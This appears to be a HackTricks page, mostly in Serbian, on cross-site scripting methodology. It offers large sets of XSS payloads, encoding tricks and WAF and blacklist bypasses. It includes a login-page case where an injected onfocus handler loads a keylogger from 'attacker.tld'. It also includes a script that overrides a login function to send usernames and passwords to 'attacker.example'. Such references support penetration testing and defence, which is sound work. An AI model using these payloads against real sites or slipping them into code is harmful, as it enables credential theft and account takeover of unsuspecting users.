XSS (Cross Site Scripting)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Metodologija

  1. Proverite da li je bilo koja vrednost kojom upravljate (parameters, path, headers?, cookies?) reflektovana u HTML-u ili korišćena od strane JS koda.
  2. Pronađite kontekst u kome je reflektovana/korišćena.
  3. Ako je reflektovana
  4. Proverite koje simbole možete koristiti i u zavisnosti od toga pripremite payload:
  5. U sirovom HTML-u:
  6. Možete li kreirati nove HTML tagove?
  7. Možete li koristiti evente ili atribute koji podržavaju javascript: protocol?
  8. Možete li zaobići zaštite?
  9. Da li se HTML sadržaj interpretira nekim client side JS engine-om (AngularJS, VueJS, Mavo…), možete zloupotrebiti Client Side Template Injection.
  10. Ako ne možete kreirati HTML tagove koji izvršavaju JS kod, možete li zloupotrebiti Dangling Markup - HTML scriptless injection?
  11. Unutar HTML taga:
  12. Možete li izaći u raw HTML kontekst?
  13. Možete li kreirati nove evente/atribute da izvrše JS kod?
  14. Da li atribut u kome ste zarobljeni podržava izvršavanje JS?
  15. Možete li zaobići zaštite?
  16. Unutar JavaScript koda:
  17. Možete li izbeći <script> tag?
  18. Možete li izbeći string i izvršiti drugačiji JS kod?
  19. Da li je vaš input u template literalima ``?
  20. Možete li zaobići zaštite?
  21. Javascript funkcija koja se izvršava
  22. Možete navesti ime funkcije za izvršenje. npr.: ?callback=alert(1)
  23. Ako je korišćeno:
  24. Možete iskoristiti DOM XSS, obratite pažnju kako je vaš input kontrolisan i da li se vaš kontrolisani input koristi u nekom sinku.

Kada radite na kompleksnom XSS-u može vam biti korisno da znate o:

Debugging Client Side JS

Reflektovane vrednosti

Da biste uspešno iskoristili XSS, prvo što treba da nađete je vrednost kojom upravljate koja je reflektovana na web stranici.

  • Intermediately reflected: Ako otkrijete da se vrednost parameter-a ili čak path-a reflektuje u web stranici, možete iskoristiti Reflected XSS.
  • Stored and reflected: Ako otkrijete da se vrednost kojom upravljate čuva na serveru i reflektuje svaki put kad pristupite stranici, možete iskoristiti Stored XSS.
  • Accessed via JS: Ako otkrijete da se vrednost kojom upravljate pristupa putem JS-a, možete iskoristiti DOM XSS.

Konteksti

Kada pokušavate da iskoristite XSS, prvo što treba da znate je gde se vaš input reflektuje. U zavisnosti od konteksta, moći ćete da izvršavate proizvoljni JS kod na različite načine.

Raw HTML

Ako se vaš input reflektuje u sirovom HTML-u stranice, moraćete da zloupotrebite neki HTML tag da biste izvršili JS kod: <img , <iframe , <svg , <script … ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.
Takođe, imajte u vidu Client Side Template Injection.

Inside HTML tags attribute

Ako se vaš input reflektuje unutar vrednosti atributa taga, možete pokušati:

  1. Da pobegnete iz atributa i iz taga (tada ćete biti u raw HTML-u) i kreirate novi HTML tag za zloupotrebu: "><img [...]
  2. Ako možete pobjeći iz atributa ali ne iz taga (> je enkodovan ili obrisan), u zavisnosti od taga možete kreirati event koji izvršava JS kod: " autofocus onfocus=alert(1) x="
  3. Ako ne možete pobjeći iz atributa (" se enkoduje ili briše), onda u zavisnosti od koji atribut sadrži reflektovani deo i da li kontrolišete celu vrednost ili samo njen deo bićete u mogućnosti da ga zloupotrebite. Na primer, ako kontrolišete event poput onclick= moći ćete da ga naterate da izvrši proizvoljni kod kad se klikne. Još jedan interesantan primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"
  4. Ako se vaš input reflektuje unutar “neiskorišćenih tagova” možete pokušati trik sa accesskey da zloupotrebite ranjivost (biće vam potreban neki oblik social engineering-a da ovo eksploatišete): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

A corporate SSO login page reflected the OAuth service parameter inside the href attribute of <a id="forgot_btn" ...>. Even though < and > were HTML-encoded, double quotes were not, so the attacker could close the attribute and reuse the same element to inject handlers such as " onfocus="payload" x=".

  1. Inject the handler: Simple payloads like onclick="print(1)" were blocked, but the WAF only inspected the first JavaScript statement in inline attributes. Prefixing a harmless expression wrapped in parentheses, then a semicolon, allowed the real payload to execute: onfocus="(history.length);malicious_code_here".
  2. Auto-trigger it: Browsers focus any element whose id matches the fragment, so appending #forgot_btn to the exploit URL forces the anchor to focus on page load and runs the handler without requiring a click.
  3. Keep the inline stub tiny: The target already shipped jQuery. The handler only needed to bootstrap a request via $.getScript(...) while the full keylogger lived on the attacker’s server.

Building strings without quotes

Single quotes were returned URL-encoded and escaped double quotes corrupted the attribute, so the payload generated every string with String.fromCharCode. A helper function makes it easy to convert any URL into char codes before pasting it into the attribute:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Rezultujući atribut je izgledao ovako:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Zašto ovo krade pristupne podatke

Spoljni skript (učitan sa hosta kontrolisanog od strane napadača ili Burp Collaborator) je presreo document.onkeypress, keširao pritiske tastera i svake sekunde izvršavao new Image().src = collaborator_url + keys. Pošto se XSS aktivira samo za neautentifikovane korisnike, osetljiva radnja je sam formular za prijavu — napadač beleži korisnička imena i lozinke čak i ako žrtva nikada ne pritisne “Prijava”.

Čudan primer Angular-a koji izvršava XSS ako kontrolišete naziv klase:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Unutar JavaScript koda

U ovom slučaju vaš unos se reflektuje između <script> [...] </script> tagova HTML stranice, unutar .js fajla ili unutar atributa koji koristi javascript: protokol:

  • Ako se reflektuje između <script> [...] </script> tagova, čak i ako je vaš unos unutar bilo kojih navodnika, možete pokušati da ubacite </script> i pobegnete iz tog konteksta. Ovo radi zato što će browser prvo parsirati HTML tagove i zatim sadržaj, pa neće primetiti da je ubačeni </script> tag unutar HTML koda.
  • Ako se reflektuje unutar JS stringa i poslednji trik ne radi, moraćete da izađete iz stringa, izvršite vaš kod i rekonstruišete JS kod (ako postoji greška, neće biti izvršen:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Ako se reflektuje unutar template literals možete ugraditi JS izraze koristeći ${ ... } sintaksu: var greetings = `Hello, ${alert(1)}`
  • Unicode encode radi za pisanje valid javascript koda:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting references the opportunity to deklerišu funkcije, promenljive ili klase nakon što su korišćene, tako da možete iskoristiti scenarije gde XSS koristi nede­klarisane promenljive ili funkcije.\ Pogledajte sledeću stranu za više informacija:

JS Hoisting

Javascript Function

Na nekoliko web stranica postoje endpoints koji prihvataju kao parametar ime funkcije koju treba izvršiti. Čest primer koji se može videti u prirodi je nešto poput: ?callback=callbackFunc.

Dobar način da se otkrije da li se nešto što korisnik direktno unese pokušava izvršiti je izmeniti vrednost parametra (na primer u ‘Vulnerable’) i pogledati u konzoli za greške poput:

Ako je ranjiv, mogli biste biti u mogućnosti da pokrenete alert samo slanjem vrednosti: ?callback=alert(1). Međutim, veoma je često da ovi endpoints validiraju sadržaj tako da dozvoljavaju samo slova, brojeve, tačke i donje crte ([\w\._]).

Međutim, čak i sa tom ograničenjem i dalje je moguće izvršiti neke akcije. To je zato što možete koristiti dozvoljene karaktere da pristupite bilo kom elementu u DOM-u:

Neke korisne funkcije za ovo:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Takođe možete pokušati da pokrenete Javascript funkcije direktno: obj.sales.delOrders.

Međutim, obično su endpointi koji izvršavaju označenu funkciju endpointi bez mnogo zanimljivog DOM-a, druge stranice u istom origin-u će imati zanimljiviji DOM za izvođenje više akcija.

Zbog toga, da biste zloupotrebili ovu ranjivost u drugom DOM-u, razvijen je eksploatacioni metod nazvan Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Postoji JS code koji nesigurno koristi neke podatke koje kontroliše napadač, kao što je location.href. Napadač to može iskoristiti da izvrši proizvoljan JS kod.

DOM XSS

Universal XSS

Ovakav tip XSS-a može se naći svuda. Ne zavise samo od eksploatacije klijentske strane web aplikacije već od bilo kog konteksta. Ovakva proizvoljna izvršenja JavaScript-a mogu čak biti zloupotrebljena da se dobije RCE, čitanje proizvoljnih fajlova na klijentima i serverima, i još više.
Neki primeri:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass enkodiranje slike

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Ubacivanje unutar raw HTML

Kada se vaš input reflektuje inside the HTML page ili možete da escape-ujete i ubacite HTML kod u ovom kontekstu, prva stvar koju treba da uradite je da proverite da li možete da zloupotrebite < za kreiranje novih tagova: jednostavno pokušajte da reflect taj char i proverite da li je HTML encoded ili obrisan, ili je reflected without changes. Samo u poslednjem slučaju ćete moći da iskoristite ovaj scenario.
Za ove slučajeve takođe imate u vidu Client Side Template Injection.
Napomena: HTML komentar se može zatvoriti koristeći****-->****ili **--!>**

U tom slučaju i ako se ne koristi black/whitelisting, možete koristiti payload-e kao:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.

Tagovi/Događaji brute-force

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Kopiraj tagove u međuspremnik. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force sve događaje using the valid tags (in the same web page click on Kopiraj događaje u međuspremnik and follow the same procedure as before).

Prilagođeni tagovi

If you didn’t find any valid HTML tag, you could try to kreirate prilagođeni tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Ako se koristi neka vrsta blacklist-a, možete pokušati da je bypass-ujete nekim glupim trikovima:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Zaobilaženje ograničenja dužine (mali XSS-ovi)

[!NOTE] > Više malih XSS payload-ova za različita okruženja možete naći ovde i ovde.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

If in order to exploit the vulnerability you need the korisnik to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).

Impossible - Dangling Markup

If you just think that it’s impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markup because you could exploit the vulnerability without executing JS code.

Ubacivanje unutar HTML taga

Unutar taga/izlazak iz vrednosti atributa

If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Događaji stila

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Unutar atributa

Čak i ako ne možete da pobegnete iz atributa (" se enkoduje ili briše), u zavisnosti od koji atribut se vaš sadržaj reflektuje i da li kontrolišete celu vrednost ili samo njen deo moći ćete to da zloupotrebite. Na primer, ako kontrolišete događaj kao onclick= moći ćete da naterate da izvrši proizvoljan kod kada se klikne.
Još jedan zanimljiv primer je atribut href, gde možete koristiti javascript: protokol da izvršite proizvoljan kod: href="javascript:alert(1)"

Zaobilaženje unutar događaja koristeći HTML enkodiranje/URL encode

HTML enkodovani karakteri unutar vrednosti atributa HTML tagova se dekodiraju pri izvođenju. Stoga nešto poput sledećeg će biti validno (payload je podebljan): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Imajte na umu da je bilo koja vrsta HTML enkodiranja validna:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Imajte na umu da će URL encode takođe raditi:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass unutar događaja koristeći Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Posebni protokoli unutar atributa

Tamo možete koristiti protokole javascript: ili data: na nekim mestima da biste izvršili proizvoljan JS kod. Neka će zahtevati interakciju korisnika, neka neće.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Mesta gde možete inject ove protokole

Uopšteno javascript: protokol može biti korišćen u bilo kom tagu koji prihvata atribut href i u većini tagova koji prihvataju atribut src (ali ne <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Ostali obfuscation trikovi

U ovom slučaju HTML encoding i Unicode encoding trik iz prethodnog odeljka takođe važi jer se nalazite unutar atributa.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Štaviše, postoji još jedan lep trik za ove slučajeve: Čak i ako je vaš unos unutar javascript:... URL enkodovan, biće URL dekodovan pre nego što se izvrši. Dakle, ako treba da pobegnete iz stringa koristeći jednostruki navodnik i vidite da je URL enkodovan, zapamtite da to nije važno, biće interpretirano kao jednostruki navodnik tokom vremena izvršavanja.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Imajte na umu da ako pokušate da koristite oba URLencode + HTMLencode u bilo kom redosledu da enkodirate payload to neće raditi, ali možete mešati ih unutar payload-a.

Korišćenje Hex i Octal enkodiranja sa javascript:

Možete koristiti Hex i Octal encode unutar src atributa iframe (barem) da navedete HTML tags to execute JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Ako možete ubaciti bilo koji URL u proizvoljan <a href= tag koji sadrži atribute target="_blank" and rel="opener", pogledajte sledeću stranicu da biste iskoristili ovo ponašanje:

Reverse Tab Nabbing

on Event Handlers Bypass

Pre svega proverite ovu stranicu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) za korisne “on” event handlers.
Ukoliko neka blacklist sprečava kreiranje ovih even handlers, možete probati sledeće bypass-e:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Iz here sada je moguće zloupotrebiti hidden inputs pomoću:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

I u meta tagovima:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Iz here: Možete izvršiti XSS payload unutar hidden atributa, pod uslovom da možete nagovoriti žrtvu da pritisne kombinaciju tastera. Na Firefoxu na Windows/Linux kombinacija tastera je ALT+SHIFT+X, a na OS X je CTRL+ALT+X. Možete odrediti drugu kombinaciju tastera koristeći drugi taster u access key attribute. Evo vektora:

<input type="hidden" accesskey="X" onclick="alert(1)">

The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Pročitajte the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Pročitajte the JavaScript bypass blacklist of the following section.

CSS-Gadgets

Ako nađete XSS u veoma malom delu veba koji zahteva neku vrstu interakcije (možda mali link u footeru sa onmouseover elementom), možete pokušati da izmenite prostor koji taj element zauzima kako biste maksimizirali verovatnoću da link bude okinut.

Na primer, možete dodati stilove elementu kao: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Međutim, ako WAF filtrira atribut style, možete koristiti CSS Styling Gadgets, tako da ako nađete, na primer

.test {display:block; color: blue; width: 100%}

i

#someid {top: 0; font-family: Tahoma;}

Sada možete modifikovati naš link i dovesti ga u oblik

<a href=“” id=someid class=test onclick=alert() a=“”>

This trick was taken from https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

U tom slučaju vaš unos biće reflektovan unutar JS koda u .js fajlu ili između <script>...</script> tagova ili između HTML event-a koji mogu izvršavati JS kod ili između atributa koji prihvata javascript: protokol.

Izbegavanje <script> taga

Ako se vaš kod ubacuje unutar <script> [...] var input = 'reflected data' [...] </script> možete lako escape-ovati zatvaranje <script> taga:

</script><img src=1 onerror=alert(document.domain)>

Zapazite da u ovom primeru nismo čak ni zatvorili jednostruki navodnik. To je zato što se HTML parsiranje prvo izvršava u pregledaču, što uključuje identifikovanje elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumeli i izvršili ugrađeni skripti obavlja se tek nakon toga.

Unutar JS koda

Ako se <> sanitizuju, i dalje možete escape-ovati string gde je vaš unos lociran i izvršiti proizvoljan JS. Važno je ispraviti JS sintaksu, jer ako postoje greške, JS kod neće biti izvršen:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Kada korisnički unos dospe unutar JavaScript stringa koji je u navodnicima (npr. server-side echo u inline skriptu), možete prekinuti string, ubaciti kod i popraviti sintaksu da bi parsiranje ostalo ispravno. Generički kostur:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Primer URL obrasca kada se ranjivi parametar reflektuje u JS string:

?param=test";<INJECTION>;a="

Ovo izvršava attacker JS bez potrebe da se dira HTML kontekst (pure JS-in-JS). Kombinujte sa blacklist bypasses ispod kada filters blokiraju keywords.

Template literals ``

Da biste konstruisali stringove, pored jednostrukih i dvostrukih navodnika, JS takođe prihvata backticks ``. Ovo je poznato kao template literals jer omogućavaju ugrađivanje JS izraza koristeći ${ ... } sintaksu.
Dakle, ako primetite da je vaš unos reflected unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu ${ ... } da izvršite arbitrary JS code:

Ovo može biti zloupotrebljeno koristeći:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Izvršavanje enkodiranog koda

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Dostavljivi payloads sa eval(atob()) i nijansama opsega

Da biste skratili URL-ove i zaobišli naivne filtere po ključnim rečima, možete enkodirati svoju realnu logiku u base64 i izvršiti je pomoću eval(atob('...')). Ako prosti filter po ključnim rečima blokira identifikatore kao što su alert, eval ili atob, koristite Unicode-escapeovane identifikatore koji se kompajliraju identično u pregledaču ali izbegavaju filtere koji podudaraju stringove:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Važna nijansa opsega: const/let deklarisani unutar eval() su ograničeni na blok (block-scoped) i NE prave globalne promenljive; neće biti dostupni kasnijim skriptama. Koristite dinamički ubačen <script> element da definišete globalne, non-rebindable hooks kada je potrebno (npr. da hijack-ujete form handler):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenca: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode enkodiranje JS izvršavanja

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists tehnike

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Posebne escape sekvence

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Zamene razmaka unutar JS koda

<TAB>
/**/

JavaScript comments (iz JavaScript Comments trika)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (iz JavaScript new line trika)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript razmaci

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript unutar komentara

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript bez zagrada

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
